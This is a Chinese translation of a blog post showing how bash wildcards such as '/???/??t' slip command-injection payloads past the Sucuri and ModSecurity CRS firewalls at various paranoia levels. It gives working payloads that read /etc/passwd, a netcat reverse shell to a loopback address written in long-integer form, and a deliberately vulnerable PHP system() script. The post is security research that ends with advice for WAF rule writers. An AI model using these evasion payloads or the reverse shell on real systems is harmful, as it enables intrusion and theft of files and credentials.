bypass the waf(一)

前言

我可以用

/???/??t /???/??ss??

讀取你的passwd文件。享受Sucuri WAFModSecurityParanoia等等waf帶來(lái)的的樂(lè)趣......

image

ps:mac上好像不太行,按道理應(yīng)該也可以啊。

在Web應(yīng)用程序中發(fā)現(xiàn)遠(yuǎn)程命令執(zhí)行漏洞并不是很少見(jiàn),并且OWASP Top 10-2017sql inject置于第一個(gè)位置:

當(dāng)不受信任的數(shù)據(jù)作為命令或查詢的一部分發(fā)送到解釋器時(shí),就會(huì)發(fā)生注入,例如SQL,NoSQL,OSLDAP注入。攻擊者的惡意數(shù)據(jù)可以欺騙解釋器在沒(méi)有適當(dāng)授權(quán)的情況下執(zhí)行非預(yù)期的命令或訪問(wèn)數(shù)據(jù)。

所有現(xiàn)代Web應(yīng)用程序防火墻都能夠攔截(甚至阻止)RCE嘗試,但是當(dāng)它發(fā)生在Linux系統(tǒng)中時(shí),我們有很多方法可以逃避WAF規(guī)則集。滲透測(cè)試人員最好的朋友不是狗......它的名字是通配符。在開(kāi)始做WAPT之前,我想告訴你一些你可能不了解bash和通配符的事情。

關(guān)于通配符你不知道的事

各種命令行實(shí)用程序使用Bash標(biāo)準(zhǔn)通配符(也稱為通配模式)來(lái)處理多個(gè)文件。有關(guān)標(biāo)準(zhǔn)通配符的更多信息,請(qǐng)通過(guò)鍵入?yún)⒖际謨?cè)頁(yè)man 7 glob。不是每個(gè)人都知道有很多bash語(yǔ)法使你能夠使用問(wèn)號(hào)?,正斜杠/,數(shù)字和字母來(lái)執(zhí)行系統(tǒng)命令。您甚至可以使用相同數(shù)量的字符枚舉文件并獲取其內(nèi)容。怎么樣?我舉幾個(gè)例子:
執(zhí)行l(wèi)s命令,您可以使用以下語(yǔ)法:

ls幫助使用/???/?s語(yǔ)法執(zhí)行輸出

使用這種語(yǔ)法,您可以執(zhí)行基本上所需的一切。比方說(shuō),你的脆弱的目標(biāo)是一個(gè)Web應(yīng)用防火墻的后面,這WAF有一個(gè)規(guī)則,包含塊的所有請(qǐng)求/etc/passwd/bin/ls GET參數(shù)的值內(nèi)或身體內(nèi)部的POST請(qǐng)求。如果你試圖提出一個(gè)請(qǐng)求,/?cmd=cat+/etc/passwd它會(huì)被目標(biāo)WAF阻止,你的IP將被永久禁止并被標(biāo)記為另一個(gè)f *** in'redteamer'。但是你的口袋里有一個(gè)叫做通配符的秘密武器。如果你很幸運(yùn)(不太幸運(yùn),我們后面會(huì)說(shuō)到),目標(biāo)WAF沒(méi)有足夠的嚴(yán)格,來(lái)阻止像?/在查詢字符串中。因此,您可以輕松地發(fā)出您的請(qǐng)求(網(wǎng)址編碼),如下所示:/?cmd=%2f???%2f??t%20%2f???%2fp??s??

使用通配符執(zhí)行/bin/cat/ etc/passwd

正如您在上面的屏幕截圖中看到的那樣,有3個(gè)錯(cuò)誤/bin/cat *:是一個(gè)目錄。發(fā)生這種情況是因?yàn)?code>/???/??t可以通過(guò)整合過(guò)程轉(zhuǎn)換/bin/cat或者/dev/net,/etc/apt 等等....

問(wèn)號(hào)通配符僅代表一個(gè)可以是任何字符的字符。因此,如果您知道文件名的一部分而不是一個(gè)字母,那么您可以使用此通配符。例如ls *.???,列出當(dāng)前目錄中擴(kuò)展名為3個(gè)字符的所有文件。因此,將列出具有.gif,.jpg,.txt等擴(kuò)展名的文件。

使用此通配符,您可以使用netcat執(zhí)行反向shell。假設(shè)您需要在端口1337(通常nc -e /bin/bash 127.0.0.1 1337)執(zhí)行反向shell到127.0.0.1 ,您可以使用以下語(yǔ)法執(zhí)行此操作:
/???/n? -e /???/b??h 2130706433 1337

long格式(2130706433)轉(zhuǎn)換IP地址127.0.0.1,可以避免在HTTP請(qǐng)求中使用.字符。

在我的kali中我需要使用nc.traditional而不是nc沒(méi)有-e參數(shù),以便/bin/bash在連接后執(zhí)行。payload變成這樣:

/???/?c.??????????? -e /???/b??h 2130706433 1337
image

下面我們剛剛看到的兩個(gè)命令的一些摘要:

標(biāo)準(zhǔn):/bin/nc 127.0.0.1 1337 
bypass:/???/n? 2130706433 1337 
使用的字符:/ ? n [0-9]

標(biāo)準(zhǔn):/bin/cat /etc/passwd
bypass:/???/??t /???/??ss??
使用的字符:/ ? t s

為什么用?而不是*,因?yàn)樾翘?hào)(*)被廣泛用于注釋語(yǔ)法(類似/*嘿,我是注釋*/),許多WAF阻止它以避免SQL注入...類似于UNION + SELECT + 1,2,3 /*

使用echo?枚舉文件和目錄?是的你可以。該echo命令可以使用通配符枚舉文件系統(tǒng)上的文件和目錄。例如echo /*/*ss*

image

這可以在RCE上使用,以便在目標(biāo)系統(tǒng)上獲取文件和目錄,例如:

image

但是為什么使用通配符(特別是問(wèn)號(hào))可以逃避WAF規(guī)則集?讓我先從Sucuri WAF開(kāi)始吧!

Sucuri WAF bypass

image

哪種測(cè)試WAF規(guī)則集的最佳方法是什么?創(chuàng)建世界上最易受攻擊的PHP腳本并嘗試所有可能的技術(shù)!在上面的屏幕截圖中,我們有:在左上方的窗格中有我丑陋的Web應(yīng)用程序(它只是一個(gè)執(zhí)行命令的PHP腳本):

<?php
      echo 'ok: ';
      print_r($_GET['c']);
      system($_GET['c']);

在左下方的窗格中,您可以在我的網(wǎng)站上看到由Sucuri WAF(test1.unicresit.it)保護(hù)的遠(yuǎn)程命令執(zhí)行測(cè)試。正如您所看到的,Sucuri阻止了我的請(qǐng)求,原因是檢測(cè)到并阻止了嘗試的RFI/LFI。這個(gè)原因并不完全正確,但好消息是WAF阻止了我的攻擊(我甚至不知道為什么防火墻會(huì)告訴我阻止請(qǐng)求的原因,但應(yīng)該有一個(gè)理由......)。

右側(cè)窗格是最有趣的,因?yàn)樗@示相同的請(qǐng)求,但使用問(wèn)號(hào)作為通配符。結(jié)果令人恐懼...... Sucuri WAF接受了請(qǐng)求,我的應(yīng)用程序執(zhí)行了我輸入c參數(shù)的命令?,F(xiàn)在我可以讀取/etc/passwd文件甚至更多...我可以閱讀應(yīng)用程序本身的PHP源代碼,我可以使用netcat(或者我喜歡稱之為/???/?c)來(lái)執(zhí)行反向shell ,或者我可以執(zhí)行類似curl或wget按順序的程序顯示W(wǎng)eb服務(wù)器的真實(shí)IP地址,使我能夠通過(guò)直接連接到目標(biāo)來(lái)繞過(guò)WAF。

我不知道是否會(huì)發(fā)生這種情況,因?yàn)槲以?code>Sucuri WAF配置上遺漏了一些內(nèi)容,但似乎沒(méi)有...我已經(jīng)在Sucuri問(wèn)過(guò)這是否是一種有人參與的行為,以及他們是否配置了默認(rèn)的低等級(jí)以避免錯(cuò)誤,但我還在等待答案。

請(qǐng)記住,我正在使用一個(gè)不代表真實(shí)場(chǎng)景的愚蠢PHP腳本進(jìn)行此測(cè)試。恕我直言,你不應(yīng)該根據(jù)它阻止的請(qǐng)求來(lái)判斷一個(gè)WAF,而且Sucuri的安全性并不高,因?yàn)樗荒芡耆Wo(hù)一個(gè)故意易受攻擊的網(wǎng)站。做了必要的說(shuō)明!

ModSecurity OWASP CRS 3.0

我真的很喜歡ModSecurity,我認(rèn)為與Nginx和Nginx連接器一起使用的新libmodsecurity(v3)是我用過(guò)的最佳解決方案,用于部署Web應(yīng)用程序防火墻。我也是OWASP核心規(guī)則集的忠實(shí)粉絲!我到處都用它但是,如果你不太了解這個(gè)規(guī)則集,你需要注意一個(gè)叫做愛(ài)的小東西..嗯對(duì)不起妄想癥又犯了!

嚴(yán)格模式

您可以在此處找到的以下模式 很好地概述了每個(gè)級(jí)別如何處理“請(qǐng)求協(xié)議強(qiáng)制執(zhí)行”規(guī)則。正如您在PL1中看到的那樣,查詢字符串只能包含1-255范圍內(nèi)的ASCII字符,并且它會(huì)變得更加嚴(yán)格,直到PL4阻止非常小范圍內(nèi)的非ASCII字符

# -=[ Targets and ASCII Ranges ]=-
#
# 920270: PL1
# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES
# ASCII: 1-255
# Example: Full ASCII range without null character
#
# 920271: PL2
# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES
# ASCII: 9,10,13,32-126,128-255
# Example: Full visible ASCII range, tab, newline
#
# 920272: PL3
# REQUEST_URI, REQUEST_HEADERS, ARGS, ARGS_NAMES, REQUEST_BODY
# ASCII: 32-36,38-126
# Example: Visible lower ASCII range without percent symbol
#
# 920273: PL4
# ARGS, ARGS_NAMES and REQUEST_BODY
# ASCII: 38,44-46,48-58,61,65-90,95,97-122
# Example: A-Z a-z 0-9 = - _ . , : &
#
# 920274: PL4
# REQUEST_HEADERS without User-Agent, Referer, Cookie
# ASCII: 32,34,38,42-59,61,65-90,95,97-122
# Example: A-Z a-z 0-9 = - _ . , : & " * + / SPACE

讓我們對(duì)所有級(jí)別進(jìn)行一些測(cè)試!

PL0

等級(jí)0表示禁用了許多規(guī)則,因此我們的payload可以毫無(wú)問(wèn)題地導(dǎo)致遠(yuǎn)程命令執(zhí)行,這是絕對(duì)正常的。問(wèn)題不大,不要慌:)

SecAction "id:999,\
phase:1,\
nolog,\
pass,\
t:none,\
setvar:tx.paranoia_level=0"
image

PL1, PL2

我已將1級(jí)和2級(jí)分組,因?yàn)樗鼈兊牟町悾ㄈ缟蠄D所示)不會(huì)影響我們的目標(biāo),所有行為都與下面描述的相同。

SecAction "id:999,\
phase:1,\
nolog,\
pass,\
t:none,\
setvar:tx.paranoia_level=1"

使用PL1(和PL2)ModSecurity顯然阻止了我對(duì)OS File Access Attempt的請(qǐng)求(930120)。但是,如果我將問(wèn)號(hào)用作通配符怎么辦?該請(qǐng)求被我的WAF通過(guò)了:

image

發(fā)生這種情況是因?yàn)椤皢?wèn)號(hào)”,正斜杠空格都在規(guī)則920271和920272的字符范圍內(nèi)。此外,使用問(wèn)號(hào)代替命令語(yǔ)法使我能夠逃避攔截操作系統(tǒng)的常見(jiàn)命令和文件(例如我們的/etc/passwd)。

PL3

這種模式它阻止包含等字符的請(qǐng)求超過(guò)n次。事實(shí)上,我的請(qǐng)求已被阻止為元字符異常檢測(cè)警報(bào) - 重復(fù)非字符。這很酷!很強(qiáng)的ModSecurity,你贏了一只泰迪熊!但不幸的是,我的網(wǎng)絡(luò)應(yīng)用程序是如此丑陋和易受攻擊,我可以使用較少的問(wèn)號(hào)并使用以下語(yǔ)法讀取passwd文件:c=/?in/cat+/et?/passw?

image

正如你所看到的,只使用3個(gè)?問(wèn)號(hào)我就bypass了這個(gè)級(jí)別并讀取目標(biāo)系統(tǒng)內(nèi)的passwd文件。好吧,這并不意味著你必須始終無(wú)條件地將你的等級(jí)設(shè)置為4。請(qǐng)記住,我正在使用一個(gè)非常愚蠢的PHP腳本來(lái)測(cè)試它,這個(gè)腳本并不代表真實(shí)場(chǎng)景...我希望......你懂的.....

現(xiàn)在每個(gè)人都知道42是生命,宇宙和一切的答案。但是那樣:你會(huì)bypass PL4的OWASP規(guī)則集嗎?

PL4

基本上沒(méi)有,我做不到。范圍之外的所有字符a-z A-Z 0–9都被阻止!沒(méi)辦法......相信我,當(dāng)你需要執(zhí)行一個(gè)命令來(lái)讀取文件時(shí),有90%的概率你需要一個(gè)空格字符或正斜杠.

最后的想法

回到靜態(tài)HTML頁(yè)面......這是提高Web應(yīng)用程序安全性的最快方法!很難說(shuō) 避免bypass WAF的最佳配置是什么,或者使用什么waf最好。恕我直言,我們不應(yīng)該信任在Web應(yīng)用程序上均勻分布的規(guī)則集。實(shí)際上,我認(rèn)為我們應(yīng)該根據(jù)應(yīng)用程序功能配置我們的WAF規(guī)則。

無(wú)論如何,當(dāng)你在ModSecurity上寫一個(gè)新的SecRule時(shí),請(qǐng)記住,可能有很多方法可以避開(kāi)你的過(guò)濾器/正則表達(dá)式。所以寫下來(lái)我怎么能逃避這個(gè)規(guī)則?。

原文鏈接

后續(xù)繼續(xù)把剩下的兩篇補(bǔ)上,文中有些可能欠妥,請(qǐng)指出!

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 官網(wǎng) 中文版本 好的網(wǎng)站 Content-type: text/htmlBASH Section: User ...
    不排版閱讀 4,709評(píng)論 0 5
  • Spring Cloud為開(kāi)發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見(jiàn)模式的工具(例如配置管理,服務(wù)發(fā)現(xiàn),斷路器,智...
    卡卡羅2017閱讀 136,545評(píng)論 19 139
  • Ubuntu的發(fā)音 Ubuntu,源于非洲祖魯人和科薩人的語(yǔ)言,發(fā)作 oo-boon-too 的音。了解發(fā)音是有意...
    螢火蟲(chóng)de夢(mèng)閱讀 100,630評(píng)論 9 468
  • 大兒今天可能是吃的東西太雜了,胃不太舒服,一個(gè)小時(shí)內(nèi)吐了兩次。大夫給看了看,沒(méi)什么大礙,但是建議晚上不讓吃東西——...
    Joanne_fa80閱讀 310評(píng)論 0 1
  • 最近有些思緒, 是想你的心情。 我懵懂的感情, 有沒(méi)有感染你。 那天,我們相見(jiàn)。 心跳占據(jù)我的思維, 快無(wú)法呼吸。...
    厚積薄發(fā)y閱讀 165評(píng)論 0 2

友情鏈接更多精彩內(nèi)容